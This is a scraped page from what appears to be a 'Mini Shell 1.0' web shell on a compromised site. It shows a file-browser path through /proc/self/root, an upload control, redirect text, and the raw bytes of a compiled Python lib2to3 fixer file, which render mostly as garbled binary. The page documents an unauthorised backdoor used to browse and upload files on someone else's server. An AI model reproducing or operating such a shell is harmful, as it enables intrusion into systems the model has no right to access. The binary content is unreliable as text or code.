HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/self/root/lib/python3.11/lib2to3/fixes/__pycache__/
Upload File :
Current File : //proc/self/root/lib/python3.11/lib2to3/fixes/__pycache__/fix_itertools_imports.cpython-311.pyc
�

ZQd&��P�dZddlmZddlmZmZmZGd�dej��ZdS)zA Fixer for imports of itertools.(imap|ifilter|izip|ifilterfalse) �)�
fixer_base)�	BlankLine�syms�tokenc�2�eZdZdZde��zZd�ZdS)�FixItertoolsImportsTzT
              import_from< 'from' 'itertools' 'import' imports=any >
              c��|d}|jtjks|js|g}n|j}|ddd�D]�}|jtjkr
|j}|}n<|jtjkrdS|jtjksJ�|jd}|j}|dvrd|_|�����|dvr)|�	��|ddkrdnd	|_��|jdd�p|g}d
}	|D]3}|	r*|jtj
kr|����.|	d
z}	�4|r^|djtj
krC|������|r|djtj
k�C|jst|dd��r|j
�|j}
t��}|
|_|SdS)
N�imports�r)�imap�izip�ifilter)�ifilterfalse�izip_longest��f�filterfalse�zip_longestT����value)�typer�import_as_name�childrenr�NAMEr�STAR�remove�changed�COMMA�pop�getattr�parent�prefixr)�self�node�resultsr
r�child�member�	name_node�member_name�remove_comma�ps           �:/usr/lib/python3.11/lib2to3/fixes/fix_itertools_imports.py�	transformzFixItertoolsImports.transforms���)�$���<�4�.�.�.�g�6F�.��y�H�H��'�H��c�c��c�]�	7�	7�E��z�U�Z�'�'����!�	�	���u�z�)�)�����z�T�%8�8�8�8�8�!�N�1�-�	�#�/�K��9�9�9�"����������� @�@�@�������4?��N�c�4I�4I�=�=�(5�����#�A�A�A�&�3�7�)�����	%�	%�E��
%��
�e�k� 9� 9����������$����	$�8�B�<�,���;�;��L�L�N�N�!�!�#�#�#��	$�8�B�<�,���;�;��!�	�W�W�g�t�%D�%D�	��N�"���A��;�;�D��D�K��K�	
#�"�N)�__name__�
__module__�__qualname__�
BM_compatible�locals�PATTERNr-�r.r,rrs=�������M���F�H�H��G�+�+�+�+�+r.rN)	�__doc__�lib2to3r�lib2to3.fixer_utilrrr�BaseFixrr5r.r,�<module>r:st��G�G�������5�5�5�5�5�5�5�5�5�5�1�1�1�1�1�*�,�1�1�1�1�1r.